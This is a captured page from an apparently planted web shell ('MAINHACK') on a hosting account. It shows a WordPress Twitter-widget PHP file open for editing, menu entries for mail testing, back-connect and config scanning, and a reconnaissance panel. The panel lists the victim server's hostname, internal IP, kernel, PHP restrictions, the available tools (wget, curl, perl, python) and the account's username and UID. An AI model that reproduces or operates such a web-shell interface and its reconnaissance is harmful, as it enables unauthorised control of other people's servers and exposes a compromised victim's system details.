[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: 2tweets-widget.php
<?php // OLD TWITTER WIDGET add_action('widgets_init', 'tweets_load_widgets'); function tweets_load_widgets() { register_widget('Tweets_Widget'); } class Tweets_Widget extends WP_Widget { function Tweets_Widget() { $widget_ops = array('classname' => 'tweets', 'description' => 'Tweets widget let you display Twitter updates.'); $control_ops = array('id_base' => 'tweets-widget'); $this->WP_Widget('tweets-widget', 'Avenue Theme: Tweets', $widget_ops, $control_ops); } function widget($args, $instance) { extract($args); $title = apply_filters('widget_title', $instance['title']); $twitter_id = $instance['twitter_id']; $number = $instance['number']; $follow = $instance['follow']; echo $before_widget; if($title) { echo $before_title.$title.$after_title; } if($twitter_id) { $interval = 300; if($_SERVER['REQUEST_TIME'] > get_option('pyre_twitter_' . $args['widget_id'] . '_cache_time')) { @$get_tweets = wp_remote_get('http://api.twitter.com/1/statuses/user_timeline.json?screen_name='.$twitter_id); if(@$get_tweets['headers']['x-ratelimit-remaining'] >= 1) { $tweets = json_decode($get_tweets['body']); update_option('pyre_twitter_' . $twitter_id . '_cache_time', $_SERVER['REQUEST_TIME'] + $interval); update_option('pyre_twitter_' . $twitter_id, $tweets); } } if(get_option('pyre_twitter_' . $twitter_id)): $tweets = array_slice(get_option('pyre_twitter_' . $twitter_id), 0, $number); ?> <ul class='tweets'> <?php foreach($tweets as $tweet): ?> <li class='tweet'> <span class='tweet-text'><?php echo $this->make_clickable($tweet->text); ?></span> </li> <?php endforeach; ?> </ul> <p class='follow-message'><a href='http://twitter.com/<?php echo $twitter_id; ?>'><?php echo $follow; ?></a></p> <?php endif; } echo $after_widget; } function make_clickable($tweet) { // Convert URLs into links $tweet = make_clickable($tweet); // Convert usernames to links $tweet = preg_replace("/[@]+([A-Za-z0-9-_]+)/", "<a href=\"http://twitter.com/\\1\" target=\"_blank\">\\0</a>", $tweet); // Convert hashtags to links $tweet = preg_replace("/[#]+([A-Za-z0-9-_]+)/", "<a href=\"http://twitter.com/search?q=%23\\1\" target=\"_blank\">\\0</a>", $tweet); return $tweet; } function update($new_instance, $old_instance) { $instance = $old_instance; $instance['title'] = strip_tags($new_instance['title']); $instance['twitter_id'] = $new_instance['twitter_id']; $instance['number'] = $new_instance['number']; $instance['follow'] = $new_instance['follow']; return $instance; } function form($instance) { $defaults = array('title' => 'Recent Tweets', 'twitter_id' => '', 'number' => 5, 'follow' => 'Follow me on Twitter'); $instance = wp_parse_args((array) $instance, $defaults); ?> <p> <label for="<?php echo $this->get_field_id('title'); ?>">Title:</label> <input class="widefat" style="width: 216px;" id="<?php echo $this->get_field_id('title'); ?>" name="<?php echo $this->get_field_name('title'); ?>" value="<?php echo $instance['title']; ?>" /> </p> <p> <label for="<?php echo $this->get_field_id('twitter_id'); ?>">Twitter ID:</label> <input class="widefat" style="width: 216px;" id="<?php echo $this->get_field_id('twitter_id'); ?>" name="<?php echo $this->get_field_name('twitter_id'); ?>" value="<?php echo $instance['twitter_id']; ?>" /> </p> <p> <label for="<?php echo $this->get_field_id('number'); ?>">Number of tweets to show:</label> <input class="widefat" style="width: 30px;" id="<?php echo $this->get_field_id('number'); ?>" name="<?php echo $this->get_field_name('number'); ?>" value="<?php echo $instance['number']; ?>" /> </p> <p> <label for="<?php echo $this->get_field_id('follow'); ?>">Follow message:</label> <input class="widefat" style="width: 216px;" id="<?php echo $this->get_field_id('follow'); ?>" name="<?php echo $this->get_field_name('follow'); ?>" value="<?php echo $instance['follow']; ?>" /> </p> <?php } } ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: webm010.cluster103.gra.hosting.ovh.net
Server IP: 10.103.20.10
PHP Version: 7.4.33
Server Software: Apache
System: Linux webm010.cluster103.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
HDD Total: 14.32 GB
HDD Free: 8.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
Exists
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: cuisinesj
User ID (UID): 17129
Group ID (GID): 100
Script Owner UID: 17129
Current Dir Owner: 17129